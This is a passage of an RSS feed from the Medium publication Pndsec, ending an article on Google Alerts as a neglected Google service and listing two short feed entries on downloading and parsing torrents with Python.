/><figcaption>google alert / 9to5google</figcaption></figure><p>Despite the ability to add keywords, my test alerts have yielded no results even after several days. However, I do recall receiving a few alert emails last year, which suggests the system is still working — just barely. The service allows you to refine alerts based on frequency, source, language, and country, but it’s unclear why Google hasn’t completely shut it down yet.</p><p>This situation highlights an interesting dilemma: while it’s natural for a massive company like Google to manage multiple services, many of them inevitably face the chopping block. Normally, a service like Alerts wouldn’t survive this long, yet it lingers on. Let’s not forget how many companies Google has acquired and then abandoned in its <strong>digital graveyard</strong>.</p><p>See you in the next article — where we’ll explore another forgotten Google service!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74502ba9c963" width="1" height="1" alt=""><hr><p><a href="https://medium.com/pndsec/the-forgotten-google-services-google-alerts-74502ba9c963">The Forgotten Google Services: Google Alerts</a> was originally published in <a href="https://medium.com/pndsec">Pndsec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Downloading and Seeding Torrents with Python]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://medium.com/pndsec/downloading-and-seeding-torrents-with-python-d340c0a324da?source=rss----e5e79ed7b9a0---4"><img src="https://cdn-images-1.medium.com/max/1280/0*3Euj9m0tspzVp0GX" width="1280"></a></p><p class="medium-feed-snippet">Since torrents have become a part of our daily lives, they have revolutionized the peer-to-peer (P2P) field. Of course, using torrents&#x2026;</p><p class="medium-feed-link"><a href="https://medium.com/pndsec/downloading-and-seeding-torrents-with-python-d340c0a324da?source=rss----e5e79ed7b9a0---4">Continue reading on Pndsec »</a></p></div>]]></description>
            <link>https://medium.com/pndsec/downloading-and-seeding-torrents-with-python-d340c0a324da?source=rss----e5e79ed7b9a0---4</link>
            <guid isPermaLink="false">https://medium.com/p/d340c0a324da</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[upload]]></category>
            <category><![CDATA[download]]></category>
            <category><![CDATA[torrent]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Erkan Kavas]]></dc:creator>
            <pubDate>Mon, 24 Feb 2025 18:54:27 GMT</pubDate>
            <atom:updated>2025-02-24T18:54:27.853Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Parsing Torrents with Python]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://medium.com/pndsec/parsing-torrents-with-python-55bfee8ab757?source=rss----e5e79ed7b9a0---4"><img src="https://cdn-images-1.medium.com/max/852/0*aULDTWpBwfyFmL8h.jpg" width="852"></a></p><p class="medium-feed-snippet">In this article, I will share a methodology for analyzing torrent files from a cybersecurity expert&#x2019;s perspective.</p><p class="medium-feed-link"><a href="https://medium.com/pndsec/parsing-torrents-with-python-55bfee8ab757?source=rss----e5e79ed7b9a0---4">Continue reading on Pndsec »</a></p></div>]]></description>
            <link>https://medium.com/pndsec/parsing-torrents-with-python-55bfee8ab757?source=rss----e5e79ed7b9a0---4</link>
            <guid isPermaLink="false">https://medium.com/p/55bfee8ab757</guid>
            <category><![CDATA[osint-investigation]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[torrent]]></category>
            <category><![CDATA[parse]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Erkan Kavas]]></dc:creator>
            <pubDate>Sat, 22 Feb 2025 14:32:07 GMT</pubDate>
            <atom:updated>2025-02-22T14:32:07.268Z</atom:updated>
        </item>
    </channel>
</rss>